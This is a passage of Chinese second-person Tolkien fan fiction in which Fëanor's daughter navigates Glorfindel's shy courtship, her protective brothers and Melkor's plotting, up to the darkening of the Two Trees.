“我也是那么想的。”加拉德瑞尔说着,和你相视一笑,但她的笑容很快消失,因为她看见了站在你身后不远处的格洛芬德尔,她只瞧一眼就知道对方想要和你搭话,她压低声音对你说:“似乎有谁想要找你聊天。”话音落下,她又朝你递去一个眼神,示意你看向身后,你一回过头,只见格洛芬德尔站在不远处,后者被你突然回头的动作吓了一跳。 不,倒也不能说是惊吓,只是他还没做好准备,他急匆匆露出的笑容肯定很僵硬,这真是太糟糕了,唯一值得庆幸的是他今天的头发柔顺美丽,至少没有昨天晚上看起来的那么狼狈。 唉,你看他的样子就知道他接下来要和你说些什么,青涩的精灵一点都不懂得掩饰自己的内心,现在的格洛芬德尔甚至比你初次相遇的吉尔-加拉德还要青涩。 加拉德瑞尔的声音在你耳边响起,她问道:“你要去和他聊天吗?总觉得你如果无视了他,那他很可能会心碎的吧。” “是吗,那我相信曼督斯的殿堂会收留他的。”你开了个精灵版的地狱笑话,接着起身,一步一步地向格洛芬德尔靠近,后者原本也想要主动向你走去的,但是不知道怎么的,他的脚步僵在原地,是因为他太胆小了吗?不,或许是因为他担心直接靠近你自己会被那份喜悦冲昏头脑,变得头晕眼花的。 所以最后是你向他走来,你说:“午好呀格洛芬德尔大人。” 怎么称呼一下子就变成了敬称呢?这使得他和你之间的距离一下子就又拉远了,格洛芬德尔愣了一下,他说:“其实我并不比你年长多少的。” 几百岁的年龄差放在精灵里压根不算什么。 “我知道,看得出来,您脸红了。”你点了点自己的脸颊,仿佛触碰的是他的侧脸,他的脸颊变得更红了,他说:“我想说的是其实你不用对我使用敬称,那样似乎有些太疏远了。” “但我们拢共就聊了两次,而且还是算上这次总共两次,我想这应该不算是疏远,这是我在表达对您的礼貌。”你说。 你说得非常有道理,这样反而显得格洛芬德尔急切地想要拉近与你的距离,他垂下眼帘,都不敢直接去看你的双眼,害怕在你的眼里看到不耐烦或者是别的抵触情绪。 “那是我唐突了。” “你也知道你唐突了啊?”凯勒巩也不知道是从哪里冒出来的,你之前分明看见他和库茹芬他们去旁边的森林里陪着胡安找松鼠去了,也不知道他是不是突然感应到了什么才会出现在你和格洛芬德尔身边。 胡安趴在你的脚边,有些无奈地看着自己的主人为难另外一位诺多精灵,它的尾巴一甩一甩的,毛茸茸的尾巴擦过你的小腿,你低头伸手摸了摸它的脑袋,凯勒巩可没有玛格洛尔那么克制,倒不如说这精灵从来都不知道克制两个字怎么写的,他一开口话就没停过。 “弥尔洛斯都说了她才和你接触过两次,你这样是否有些太奇怪了呢?”凯勒巩说着,单手叉腰,眼看着他说话语气越来越冲,你便向旁边的库茹芬递去一个眼神,暗示他拦住凯勒巩。 库茹芬确实做到了,而且还是和胡安完美配合后做到的,那就是胡安装作又看到了松鼠,库茹芬拉着凯勒巩去往旁边的树林再去寻找松鼠。 凯勒巩的话还没有说完呢,才说到一半,就被弟弟库茹芬连拖带拽地拉走了,他不解地嚷嚷着,“我都还没有说完呢!”库茹芬笑眯眯地说:“你要是再继续说下去,那弥尔洛斯从今天开始就又要和你冷战了,你也不想被她冷落吧?” 这话让凯勒巩回忆起自己前阵子惹恼了你,结果接下来的一段时间你都装作看不见他,这种感觉对他来说非常不好受,因此他也没再挣扎,只是还在背地里和库茹芬一起阴阳怪气格洛芬德尔,从他的长相到服装首饰,全都阴阳怪气一遍。 “很显而易见的,他的金发完全没有我的好看,如果弥尔洛斯真的喜欢他,就只能说明她肯定是眼睛出问题了。” “也不只是头发的问题吧。”库茹芬说道。 “没错,他的衣服还有首饰的搭配水平也很一般,丝毫不及我。”说着,凯勒巩骄傲地扬起下巴挺起胸膛。 库茹芬沉默不语,难怪那段时间你冷落凯勒巩的时候你的心情肉眼可见的愉快,因为这家伙的话真的很多,哪怕是他的亲弟弟都难以忍受。 “爱情这种事情我们是说不准的。”库茹芬给出一个非常中肯的回答,但绝不是能让凯勒巩满意的回答,只见凯勒巩挑起一边的眉毛,质问道:“你到底是站在哪一边的?你居然在支持他?我可是你哥哥啊!” 库茹芬摊手:“我是站在弥尔洛斯那一边的。” 第109章 第109章“但他的眼神让我觉得…… 在凯勒巩走后你的耳根总算是短暂的清静了一会,格洛芬德尔也顺势说道:“你的哥哥都很关心你。” 得了吧,这种关心落在谁身上谁都会觉得沉重的,你也知道格洛芬德尔这就是在说客套话,你对他礼貌地笑了一下,“的确,他们都非常有责任感。” 格洛芬德尔并没有亲兄弟,因此说到底他也无法感同身受,好在你们并没有在这个话题上浪费太多时间, 格洛芬德尔正在苦恼怎么开启一个新的话题,这时候在旁边围观的埃克塞理安一看格洛芬德尔和你的气氛陷入僵硬,他就自然而然地来到你们身边,似是无意地提及格洛芬德尔前些天新写的诗歌。 “我真没想到你是这样一个吝啬的精灵,居然都不愿意将这首诗歌与我们的公主殿下分享一下吗?”埃克塞理安半开玩笑地指责了格洛芬德尔一句,但本意还是为了活跃气氛,以及引出下一个话题,否则按照他的好友的羞涩劲,估计你们就得要面对面站着相顾无言了,这画面未免也太尴尬了一些。 格洛芬德尔也明白埃克塞理安的良苦用心,他说:“嗯……只不过我不太确定你是否愿意听我念诗。” 看在他那么可怜兮兮的份上,你没有当面拒绝他,而是说:“这是我的荣幸,只是难道我们要一直站在吗?” 格洛芬德尔感到高兴之余还不忘寻找一片树荫,他说:“不如我们去那里吧。”说着,他给你指了个方向,你顺着他手指的方向看去,那是一片树荫,很适合坐在树影下休息,你率先迈出脚步,格洛芬德尔紧随其后,埃克塞理安就没有跟上他的脚步,而是向格洛芬德尔投去一个鼓励的眼神,示意他接下来就只能靠自己了。 紧张是无可避免的,格洛芬德尔看见你坐在树影里,抬起头面色平静如水地看向他,仿佛只注视着他,光是这一点就足以让他心跳加速,他拿出写着诗歌的本子,不单单是诗歌,里面甚至还有几张画像,但他没打算让你看,速度很快地翻页,翻到最后几页,那上面写着他最近创作的诗歌。 “我知道,我是那样无关紧要,是那样无足轻重。” 你听到这个开头略带不解,倒是很少见到直接一上来贬低自己的,这倒有点意思,你安静地听他继续念下去。 “可我无法无视自己内心的声音,我难以忘记那不经意间的眼神交换,我对此心甘情愿。” 好吧,你就知道这是一首情诗,你抿抿唇,最终还是没有打断他,而是静静地听他念玩,过了一会,也许你只是沉默了几秒而已,但在格洛芬德尔看来你的沉默是那样漫长,如同一场没有尽头的审判,他拿着本子的手指紧张得把纸页都弄得皱巴巴的。 弄皱,然后再抚平,就这样循环往复,以此来缓解紧张到无以复加的心情,他在等待你的回答,“所以……” 你说:“这首诗很美。” 你给出的回答很简短,但总好过没有评价,格洛芬德尔应该对此感到庆幸的,但或许是他太得寸进尺了,他还希望你能再多说几句,他试探性地发问:“除此之外呢?” “你的感情也很真挚。”你又补充一句。 格洛芬德尔不自然地笑了一下,“谢谢你的赞美,对了,我想问问你今晚是否有空。” “她没空。”迈兹洛斯走到你身边,他出于礼貌对格洛芬德尔笑了一下,那笑容转瞬即逝,很轻描淡写,他的手掌搭在你的肩头,“抱歉,我今晚有些事情想要麻烦她,所以她恐怕没法赴你的约了。” 迈兹洛斯嘴里虽然说着抱歉,但看他的表情可丝毫捕捉不到任何歉意,他甚至还有意无意地将你遮挡在自己身后,以此来挡去格洛芬德尔的目光。 你的视野都被迈兹洛斯的身影所占据,被他那头火红色的长发占据,他的发梢微微打着卷,也不知道从哪里沾了一片叶子在他的发尾,你伸出手摘走那片树叶,还在说话的迈兹洛斯身形僵硬了一瞬,又背着手拍开你的手掌,示意你不要在这时候胡闹。 迈兹洛斯对格洛芬德尔说的都是一些客套话,如果省略各种套话,那么总结一下他的意思就是:离我的妹妹远一点。 能够与你在宴会上聊一会天对格洛芬德尔来说已经是一件非常幸运的事情了,他也不奢求你的兄长能给他好脸色看,因此他很明智地后退一步,又对着迈兹洛斯微微点头,而后才转身离开。 等格洛芬德尔走远了迈兹洛斯才回过头,他瞧见你的掌心还躺着一片叶子,你说:“刚才我看见你的头发上沾着一片树叶。” “我以为你又想要玩我的头发了。”可如果你真的提出这个请求,想必他也会答应的,但说实话,你也不知道自己做了什么给他留下了你喜欢玩头发的爱好,大概是以前被凯勒巩闹得烦躁了,你索性就去找迈兹洛斯,闲着无聊绕着他的头发玩,不过这样的事情也就发生过寥寥几次,因为在凯勒巩发现你喜欢红发以后他就又暂时把注意力转移到如何把头发染成红的这回事上。 当然最后凯勒巩也没有成功,甚至还把他那一头金发变成了粉红色,可能是他在调颜色的时候出现了偏差,总之,那段时间凯勒巩一直顶着那头粉发,其他精灵也都知道他的事迹可都不敢当着他的面直接说,因为他这暴脾气肯定会生气的,不仅是生气,更糟糕的是还会记仇。 这些都只是过去的一些小插曲,但是现在真要回忆起来,你却连每一个细节都能记得清清楚楚,这真是一件神奇的事情,你将其归因为精灵超强的记忆力。 言归正传,你说:“我早就已经过了那个年纪了。” 迈兹洛斯叹了一口气,“但我也不希望你那么快进入下一个年纪。”你知道他所说的下一个年纪应该就是寻找伴侣的年龄段了,这一点他倒是真的不用担心,因为你手头要处理的事情那么多,根本没心思展开一段恋情,而且你也深知和格洛芬德尔成为恋人他一定会竭尽所能地融入你的生活,这反而对你来说是一种负担。 你撇撇嘴,“那你说的要麻烦我的事情是什么?” “是假的,我根本没有什么事情要麻烦你,我那么说都是为了支走那个精灵,不然他肯定会一直绕着你打转的。”说到后面,迈兹洛斯的脸色肉眼可见地变得难看,其实他也没有多讨厌格洛芬德尔,只能说是不喜欢而已,不喜欢又不能等同于讨厌。 “他一直绕着我打转的难度有点大,毕竟我的身边还有那么多优秀的哥哥,恐怕他见到以后就会知难而退的吧。”你的那些哥哥确实每一个都很优秀,但是在性格上又几乎都和父亲费艾诺很像,尤其是倔脾气方面,每一个都那么倔强,和费艾诺如出一辙。 迈兹洛斯说:“昨天你和阿姆罗德他们去潜水了?”他很喜欢询问你每天做了什么,精确到各种细节,似乎从很久以前就开始了,在你安慰与父亲费艾诺发生争吵的迈兹洛斯以后,或许是从那个时候开始他就意识到你居然是所有手足里最能理解他处境的一位。 “是的,但你又是怎么知道的?” 迈兹洛斯耸耸肩,“米尔寇告诉我的,他还说了一些……”他说到一半顿了顿,表情微妙,那是一些他不怎么喜欢的话语,米尔寇以非常笃定的语气告诉迈兹洛斯,你终将有一天会和他们,和其他费诺里安分道扬镳。 “她和您们要走的道路不同,您们终有一日迎来分别。”米尔寇对迈兹洛斯笑着说出这句话,这话在日后的千百年,尤其是在他追随父亲费艾诺出奔来到贝烈瑞安德大陆以后时常在他的梦魇中出现。 “一些不中听的话?”你说,米尔寇找到迈兹洛斯准没好事,肯定是为了挑拨离间,但他怎么觉得仅凭自己的三言两语就能破坏你们之间的关系呢? “是的,差不多是这样的话语吧。”迈兹洛斯低声应道。 “你很相信他说的话?如果我没有记错的话,前不久你还提醒过我不能相信米尔寇说的话,可你现在又为什么那么担心呢?” 的确,迈兹洛斯提醒过你不要相信米尔寇说的话,但是真当事情发生在他身上的时候,尤其是他的内心深处也在担心你的离 去,这种感觉从很久以前就存在了,迈兹洛斯也不明白为什么会有这种感觉,可能是因为你表现得太像个局外者,也有可能是你从未明显地表露出对自己的哥哥还有双亲的爱,这才使得他那么不确定的。 总而言之,迈兹洛斯担心的事情真的被米尔寇说中了,他又怎么会不在意呢? “我知道,我知道的……”迈兹洛斯说。 你站起身,主动牵着他的手,“你有去向祖父问过好吗?” 这场宴会诺多至高王芬威也会出席,要找到他也很简单,只需要环视四周,看到那顶闪烁着美丽光辉的王冠就知道那是芬威了,你靠着这个方法顺利地找到了芬威,后者也恰好看了过来,他对着你和迈兹洛斯招招手,示意你们去往他的身边。 “我刚才找了一圈都没有找到你们,你们去哪里了?”芬威问道,等你走近以后他无比自然地摸了摸你的头发,你们的父亲费艾诺没有参加这场宴会,因为后者宁愿泡在工坊里也不愿意来这个宴会上碰见自己其他两个兄弟,这种情况也不是一次两次了,对此芬威早就习以为常,他通过你和迈兹洛斯了解费艾诺的近况。 当传声筒的感觉没那么好,你一开始还能耐着性子回答祖父芬威的问题,到后面你索性就装没听见让迈兹洛斯回答问题,反正昨天晚上迈兹洛斯就在费艾诺身边帮着处理公务,所以准确来说迈兹洛斯知道的比你的多得多了。 芬威听迈兹洛斯说完这些话,非常欣慰地笑了,他说:“你日后一定会成为你父亲的得力助手的。” 这画面似曾相识,以前哈多也曾当着你的面夸奖你的弟弟格林会成为合格的君主,果然就算是换了个种族,这种事情也不会发生任何改变,想到这里,你的笑容里也掺杂着几分讽刺,你反问芬威:“那我不能成为父亲的得力助手吗?” 芬威还以为你在开玩笑,他笑着说:“噢……弥尔洛斯,你是你父亲独一无二的珍宝。” 你垂下眼帘,“这样啊……”相较于第一个副本,时至今日的你不会因为这些话语而表现出恼怒的一面,这倒不是说你已经麻木了,而是你的怒火隐藏得更深了。 这时候从森林里出来的凯勒巩还在对着自己的弟弟库茹芬碎碎念,后者虽然不耐烦,但也只能就这么听着,他看见围在祖父芬威身边的你和迈兹洛斯,就顺势说道:“你就不打算去向祖父问好吗?” 谢天谢地,凯勒巩总算是把注意力转移到其他地方了,他不再和哭如风谈论格洛芬德尔的穿着品味还有他的言行举止,他们先是向祖父芬威问好,芬威又照例询问他们这些天的情况。 这场宴会一直持续到下午时分,你喝了两杯果汁,和加拉德瑞尔躲在树影下聊天,就这样一直聊到下午,你们谈论了很多,许多话题都是你和自己的哥哥都未曾提起过的,加拉德瑞尔对你说:“要是我也能拥有一片属于自己的领土就好了,我相信自己肯定能够成为合格的精灵领主的。” 但她的想法估计很难实现,因为在精灵里女精灵很少成为精灵领主,你说的很少都是委婉的说法了,应该说是没有先例。 “那么弥尔洛斯你呢?”加拉德瑞尔礼尚往来地问道,她以为志同道合的你会说也想要成为精灵领主的,但是没成想你却说:“我想成为诺多的至高王。” 加拉德瑞尔起初还以为你在开玩笑,她笑了起来,“你这是在开玩笑吗?” “也许吧。”你也笑了起来,仿佛真的只是在说笑,但后来加拉德瑞尔才知道,你说的根本不是玩笑话,而是真心话。 在宴会结束以后的很长一段时间的维林诺都风平浪静,这样的生活实在是太安逸了,以至于你总觉得在这平静美好的表象后暗流涌动,米尔寇靠着自己友好谦逊的态度博得绝大部分精灵的认同,他仿佛真的认识到了自己的错误,甚至就连有些维拉也觉得他已经改过自新,当然除此之外还有小部分的精灵以及维拉始终对米尔寇持怀疑的态度。 时间就在日复一日的日常生活中流逝,精灵拥有无尽的生命直至阿尔达的消弭,因此你在成为精灵以后对时间的感知也没有身为人类时那么敏锐了,你先前所说的一段时间其实换算下来应该几百年的时光了,在这几百年里你没有停止学习的步伐,几乎每天不是待在雅凡娜那里,就是去拜访祖父芬威还有父亲费艾诺。 这天你来到费艾诺的住所时他正在例行为三颗精灵宝钻的链带进行保养,平常他很少将这条项链戴出来,只有在盛大场合的时候才会戴上这条镶嵌着三颗精灵宝钻的项链,你曾经目睹过米尔寇看向这条项链时眼里的贪婪神色,难怪他日后还会特意带走这三颗精灵宝钻。 费艾诺平日里并不允许其他精灵观赏这几颗宝钻,但是他的后代除外,你和你的那些个哥哥如果想看,费艾诺会毫不犹豫地拿出来展示一番,但你对这三颗引起一系列连锁事件的宝钻并不感兴趣,你只是坐在费艾诺身边,偶尔给他递去工具。 费艾诺低头专注地保养那精致的链带,一声不吭,这使得你们之间的气氛无比安静,你倒是不怎么讨厌这种氛围,因为费艾诺也不是刻意冷落你而是他在维修东西的时候向来那么全神贯注。 保养的工作进入尾声,费艾诺这才开口,“这些天你怎么一直往我这里跑,反倒是不跟着你母亲了?” 费艾诺就是这么奇怪的精灵,平常他明明很希望你来拜访他,但又明面上不说,非得要通过你的其他哥哥来告诉你,非常拐弯抹角,而这些天你来的次数多了,他就又开始担心你是不是 冷落了你的母亲,他要是真的那么担心的话,倒不如他们再搬到一块住算了,免得你总是两个地方来回跑。 “放心吧,她不会感到孤独的。” 费艾诺还在嘴硬,“不仅是她,就连我也不会感到孤独。” 你扯了扯嘴角,心想如果你现在离开的话他是否会挽留你呢?估计是不会的吧,最多就是用幽怨的眼神盯着你看,你把工具放回工具箱里,那条镶嵌着精灵宝钻的项链静静地躺在特制的盒子里闪烁着无与伦比的光辉,你伸出手触碰最中间那颗宝钻,触感微凉,但是你却能感受到其中蕴藏着光明力量。 “上次宴会的时候米尔寇还当面夸赞过这条项链。”费艾诺主动提起米尔寇,但语气不怎么友善,因为他察觉出对方内心的贪婪,这让他十分不悦,像费艾诺这样骄傲的精灵就算对方是维拉,惹得他不高兴了他也照样不会给对方好脸色看的。 “但他的眼神让我觉得厌烦。”费艾诺没好气地说。 “很显而易见的,他丝毫没有任何的悔过之心,我想他之后肯定还会做出什么疯狂的举动,您应当对他更加小心谨慎才对。”这样类似的话你都不知道说了多少遍了,费艾诺可能是听进去了一点,他点了点头表示赞同你的看法,可他的骄傲又让他陷入盲目自信,他不觉得米尔寇仅凭自己的实力能在维林诺掀起怎样的风波。 其实对于维林诺这段时期的历史你也不是太明白,毕竟你在之前的两个副本里接触到的精灵很少会主动提及这段黑暗的过往,他们如果要向你介绍维林诺,都是挑选一些轻松愉快的故事,这就直接导致你对接下来会发生的事情只知道一个大概,无非就是诺多至高王芬威被杀,费艾诺的精灵宝钻被夺走,他带领诺多族出奔。 至于现任诺多至高王是如何被杀的,又是在哪个时间点被杀的,你一概不知,但你也没有太着急,因为在你看来如果芬威不死,你成为至高王的可能性就更加微乎其微了,所以你的选择是任由事情沿着你所知晓的历史轨迹发展。 你所能做的就是提醒费艾诺不要被米尔寇暗算了,费艾诺盖上装着精灵宝钻项链的盒子,他说:“放心吧,如果他真的要做什么,我可以保证他不会危害到你的。” 的确,米尔寇发觉你不是那么好欺骗的以后就很少与你主动接触了,他将目光转向其他的精灵,而且在原来的历史里也没有你的存在,你更不会傻乎乎地跟着一同立下关于精灵宝钻的誓言,所以米尔寇确实不会对你构成威胁。 你垂下眼帘,但你在思索,如果到时候你的那些哥哥又被迫立下誓言了呢?这对你来说似乎是一件好事,毕竟在他们饱受未完成的誓言的折磨时你大可以轻而易举地从他们手里夺走至高王的权力。 这是一件好事,你这样告诉自己,因为想得太入神了,以至于费艾诺呼唤你的名字你起初都没有听见,直到他拍了拍你的手背,“在想什么?” 你抬起头,费艾诺会在出奔到贝烈瑞安德大陆不久以后在一场战役中死去,你已经预见到了他死去的画面,你说:“在想关于未来的事情。” 彼时的费艾诺还没有仇恨缠身,他还能对你露出笑容,“你将会有一个幸福的未来的。” 第110章 第110章命运不会改变。 对于费艾诺说的话,你基本上是听过就过,不怎么会放在心上,从费艾诺的住所离开后,接下来的一段时间你都没怎么去拜访他,主要是因为你在暗中观察米尔寇的一举一动,他似乎察觉到了你在观察他,表现得很坦然,甚至还主动与你搭话,“真巧,您也是来这里欣赏美景的吗?” 你和米尔寇在湖边相遇,湖面上还停留着一群天鹅,它们听见你们那边传来的动静,便纷纷好奇地将脑袋转向你们,你往湖水里撒了一把鱼食,被吸引的鱼群蜂拥而至,一眨眼的功夫就把这些鱼食都吃完了,你拍了拍手,掸落上面的碎屑,这才慢吞吞地回答米尔寇的问题,“算是吧,不过这可真新奇,毕竟你平日里不是在帮助精灵就是在帮助精灵的路上,今天怎么有闲情来湖边欣赏美景呢?” 米尔寇早已习惯你这幅说话的态度,他从容应对,“因为有些精灵似乎也不是很需要我的帮助,而且时至今日我仍为维林诺的繁荣美丽而感到震撼。” 毫无意义的套话从他嘴里一句接着一句地冒出来,听到后面你都没什么耐心了,你说:“是啊,这都是伊露维塔还有其他维拉以及精灵的杰作。” 米尔寇在听到你那么说以后脸色变了变,这也恰恰是让米尔寇感到愤怒的地方,早在爱努大乐章谱写之初他就认为自己也能够创造出属于自己的乐章,甚至其震撼程度理应远超伊露维塔,但是他的想法遭受了一次又一次地打压,到现在他内心深处的想法被你刚才的几句话又勾了起来。 他刚想要说些什么,但是一转头就看见你似笑非笑地盯着他看,他无法通过你的表情读懂你的内心,多么奇怪啊,换做其他精灵,米尔寇与其对话几句就能了解对方的真实想法,而你呢,他看不出来你想要什么,你的弱点又是什么。 不过也无所谓,等维林诺毁于一旦的时候就算是你这样的精灵肯定也会流露出恐惧而害怕的一面的吧,米尔寇带着十足恶意地设想你惊慌失措的样子。 快了,他的计划就快要正式开启了,他已经为此付出了太多代价,每天都在精灵和维拉之中扮演一副温和友善的假象,尽管只是伪装,但还是让米尔寇感到恶心,他生性就对任何美善的东西心存厌恶,自然而然他本身也无法接受美善。 米尔寇怀揣着恶意询问你的那些哥哥,因为问的太多了,你不由地反问道:“你怎么那么关心他们?” 这可不是关心,而是他在思索如果杀死了你,想必你的那些哥哥以及你的双亲也会悲伤至极的吧,想着,米尔寇的目光落在你的脖颈上,想着如果用宝剑刺穿你的咽喉又会是什么画面。 “毕竟您和您的哥哥都是维林诺里数一数二优秀的精灵,我想其他维拉肯定也很关注您们。”心里预演着杀死你的画面,米尔寇面上还能露出礼貌得体的笑容。 你没搭理米尔寇,随意地找了借口就离开了,自那次的谈话后你许久没有见到米尔寇,不光是你没见到,就连其他的精灵也很少遇到他,有的精灵猜测他也许是去休息了,毕竟这几百年间他也为维林诺做出了许多贡献,休息一段时间也是正常的。 但也有一部分精灵不那么想,其中就包括你和加拉德瑞尔,后者拥有预知的能力,根据她所说,她这些天总是做噩梦,可每当她醒来的时候又会因为那发自灵魂深处的恐惧而记不清噩梦的内容。 这天你和加拉德瑞尔还有阿瑞蒂尔待在一块享用下午茶,说是下午茶,但你们基本上都没怎么动过茶水,光顾着聊天了,加拉德瑞尔先是提到了自己的噩梦,“这阵子我总是做噩梦。” 阿瑞蒂尔很捧场地问道:“那是怎样的噩梦?” 加拉德瑞尔轻轻地摇了摇头,很抱歉地说:“我记不清那噩梦的内容了,因为每当我醒来的时候那股恐惧都会将我环绕。” 要是换做是别的精灵,阿瑞蒂尔或许只会安慰对方那可能就只是一场梦而已,但加拉德瑞尔不一样,因为她本身就拥有预知的能力,所以阿瑞蒂尔慎重地说:“你最近有接触过什么东西吗?” “你认为是魔药导致的噩梦?”你问道。 “很有可能,就跟以前凯勒巩想要用魔药把头发染成红色的,结果出现了偏差变成了粉红色,这应该是差不多的情况吧?”阿瑞蒂尔举出凯勒巩这个例子,虽然乍一听好像挺贴切的,但如果仔细想一想又会觉得哪里怪怪的,你微微皱起眉,问道:“你确定用这个打比方真的合适吗?” “合适啊,嗯……前提是弥尔洛斯你别告诉他就行。”阿瑞蒂尔说,又对你眨眨眼,“你知道的,按照他那个脾气,估计得跳起来。” 加拉德瑞尔还在看热闹,“反正他这样跳起来也不是一次两次了,我想整个维林诺的精灵应该都已经习惯了吧。” 阿瑞蒂尔点点头,她又补充道:“刚才她说的你也最好不要告诉凯勒巩。” 气氛突然变得非常安静,阿瑞蒂尔看看周围,确认凯勒巩不在这里,她这才松了一口气,但她还是捂住自己的胸口,因为心虚而小声地说:“刚才突然变得那么安静,我还以为是他来了呢。” “放心吧,如果他真的来了,那肯定会先嚷嚷着弥尔洛斯的名字。”加拉德瑞尔和阿瑞蒂尔不约而同地笑了起来,你也没觉得有什么不对的,因为他们说的都是实话,凯勒巩就是这样的精灵。 言归正传,你把话题绕回到最初的那一个,你说:“如果不是魔药的话,就只能说明未来可能会发生什么糟糕的事情。” 刚才还轻松欢快的气氛一下子就变得沉重了许多,加拉德瑞尔也说:“没错,很有这个可能。” 阿瑞蒂尔沉默了一会,她端起茶杯,说:“我是来喝下午茶的,不是来讨论严肃的事情的,唉,还是换个有趣而轻松的话题吧,比如说格洛芬德尔还在追求你吗,我们的小弥尔?” 在场那两个精灵的目光纷纷转移到你身上,你不紧不慢地拿起茶杯喝了一口,然后说:“这茶水有些凉了,我再加点热水吧。” 说着你起身就要走,但阿瑞蒂尔可不会那么轻易让你离开,她赶忙抓住你的胳膊,笑嘻嘻地说:“不用了,我觉得这温度刚刚好,还是说你要趁机逃跑?” 什么逃跑不逃跑的,你叹了一口气,无奈地看了阿瑞蒂尔一眼,“如果我真的要逃跑,那可不会给你抓住我的机会。” 坐在阿瑞蒂尔对面的加拉德瑞尔点点头表示赞同,最后在阿瑞蒂尔的劝说下你又坐回自己的位置,然后又得迎接她的下一轮盘问,她说:“其 实我还以为他会放弃的呢。” 格洛芬德尔放弃?在你的印象里格洛芬德尔从来都不和放弃沾边,他的执着有时候就连你都会感到惊讶,你说:“那你就太不了解他了。” “论了解程度我确实不如你,所以我们也需要你的耐心解答。”阿瑞蒂尔仿佛挖好了坑就等着你往里面跳,而你此刻就站在坑边,你说:“他最近没有来打扰我。” 阿瑞蒂尔和加拉德瑞尔交换了一个眼神,她们一时之间不知道该做出什么反应。 “呃……所以这对你来说是一件好事吗?”加拉德瑞尔犹豫地问道。 “应该算是好事吧。”毕竟你也不想看到格洛芬德尔每次来找你都被你的哥哥为难,每次都这样你那本就不多的同情心都要被唤醒了,所以他不来找你也算是一件好事。 加拉德瑞尔喝了一口茶,确实已经凉了,茶水的味道逐渐变得苦涩,她才抿了一口就又放下茶杯,阿瑞蒂尔伸了个懒腰,她说:“下午一直待在这里聊天也怪无聊的,不如去骑马吧,外面的风景不错,而且我听说泰勒瑞精灵又新造了一艘船,正在港口测试这艘船呢。” 你表示赞同地立刻起身,你们三个有说有笑地去宫殿后面那片宽阔的草地上用口哨召回自己的坐骑,阿瑞蒂尔的坐骑也不知道跑到哪里去了,她一连吹了好几声口哨都不见它的踪影,阿瑞蒂尔直嘟哝,“它又跑到哪里去了?怎么连我的口哨声都听不见呢?” 后面阿瑞蒂尔又吹了几声口哨,只见那匹白马慢悠悠地从树林里跑出来,姿态优雅而慵懒,阿瑞蒂尔一见到它气就消了,伸手抚摸它的脑袋,嘴里还在嘟哝,“你怎么都把你自己的主人给忘了?亏我还在担心你呢。” 那匹白马用脑袋蹭了蹭阿瑞蒂尔的手掌,你们骑着马在平原上散心,你们才走出一段路就看见刚从奥力宫殿里出来的玛格洛尔,他一见到你们便点头示意,又对你说:“你们要去哪里?” 阿瑞蒂尔欢快地回答道:“去港口,看看泰勒瑞新造的船,你要和我们一块吗?” 面对阿瑞蒂尔的欣然邀请,玛格洛尔考虑了一下,“你们就打算骑马过去?” 听他说这话的意思就是打算跟你们一道去港口了,你顺势对他伸出手,一把把他拉到马背上,让他坐在你身后,玛格洛尔的声音从后头传过来,他说:“你都没给我反应的时间。”这话就像是在埋怨你,你头也没回,“那你大可以再从马背上下来。” 和你一同坐在马背上的感觉让玛格洛尔回到了你还小的时候,那时的你虽然年纪小,但是胆子却很大,趁着他和迈兹洛斯不注意就打算自己爬到马背上,好在玛格洛尔眼疾手快地把你给拦了下来,但你的这一举动还是把他们俩给吓坏了,毕竟就算是小时候最闹腾的凯勒巩也不会直接爬到马背上,也正是这件事情使得玛格洛尔认识到你的性格也没有看上去那么的文静。 玛格洛尔与你分享这件趣事,末了他还问一句,“你还记得这件事吗?” 你被他那么一提醒确实想起了当时的画面,但是在你看来这举动根本不算危险,再说了精灵培养的马匹都十分聪明温和,也不至于伤害你,他和迈兹洛斯完全就是小题大做了,你耸耸肩,“记得,当时迈兹洛斯的脸涨得和他的头发颜色一样红彤彤的。”那样子怪好笑的。 “时间过得可真快啊。”玛格洛尔感叹一句,这样的话从他嘴里说出来给你一种对方已经是好几千岁老精灵的感觉。 你们一路上有说有笑地骑马慢悠悠地到达海边,正在甲板上忙活的泰勒瑞精灵一见到你们就热情地朝你们挥挥手,尤其是看见你的时候,你才从马背上下来与你相熟的泰勒瑞精灵就小跑到你身边,笑盈盈地说:“你也是来看新造的船只的吗?站在甲板上看多没意思,你要上去看看吗?” 这听上去似乎只邀请了你,你又问道:“我的朋友肯定也想去看看甲板上的风景。” 那个淳朴的泰勒瑞精灵赞同地点点头,“当然当然——各位诺多客人请随我一同去甲板上看看不同的风景吧。” 阿瑞蒂尔激动地牵着加拉德瑞尔的手上船,玛格洛尔走在最后,你回过头看了他几眼,他这才加快脚步来到你身边与你并肩同行,他说:“你该不会日后还要跟着泰勒瑞精灵出海吧?” 这也不是没可能,但是根据你的了解,诺多族出奔到中土大陆就是依靠泰勒瑞精灵打造的船只,当然,这些船只是经历了一场血腥的屠杀后才从泰勒瑞精灵手里夺来的,这场血腥的亲族残杀也拉开了宝钻征战史的帷幕。 “这样难道不好吗?听起来就很好玩。”你说,玛格洛尔没说话,但你从他微微皱起的眉毛看出他不是很认同你说的这句话。 你们是最后两个抵达甲板的,阿瑞蒂尔和加拉德瑞尔已经在甲板上待了有一会了,她们还在兴致勃勃地聊着别的话题,玛格洛尔也在和你聊天,聊的都是迈兹洛斯或者凯勒巩,偶尔还掺杂着几句关于图尔巩的话题,你分出一部分的注意力听他说话,另外一部分注意力则是欣赏周围的风景。 忽然之间你听见加拉德瑞尔说:“那是什么?”她的声音很严肃,你和阿瑞蒂尔顺着她手指的方向看去,远方飘出一缕幽幽的黑烟,当那一缕黑烟消散在天空中的下一秒,双圣树光芒突然变弱,死亡和黑暗的气息顿时在整个维林诺蔓延。 原本明亮的天空以肉眼可见的速度被黑暗吞噬,顷刻间,黑暗笼罩了整个维林诺,你的耳边传来泰勒瑞精灵惊慌失措的声音。 “发生了什么?” “双圣树——双圣树!” “双圣树的光芒为什么消失了——!?” 黑暗与恐惧在维林诺的精灵内心蔓延,你一下子就意识到那是消失已久的米尔寇干的好事,他摧毁了双圣树,让维林诺陷入混乱,此刻的他来到费艾诺与父亲芬威的宫殿,他原本只想要夺取精灵宝钻的,毕竟他对这件杰作垂涎已久,但是没想到现任诺多至高王芬威挡在了他的去路上。 米尔寇不加掩饰地嘲讽道:“如果你及时让开的话我还能饶你一命,但要是你执意阻拦我,那我非但会杀死你,而且就连你的后代我也会一一折磨的!” 米尔寇所说的芬威后代其中特指的是你,因为平日里米尔寇时常遭受到你的针对,他虽然从未将愤怒表露出来,但此刻既然他的计划已经成功了一大半,他也丝毫不介意自己的真实一面暴露在芬威面前。 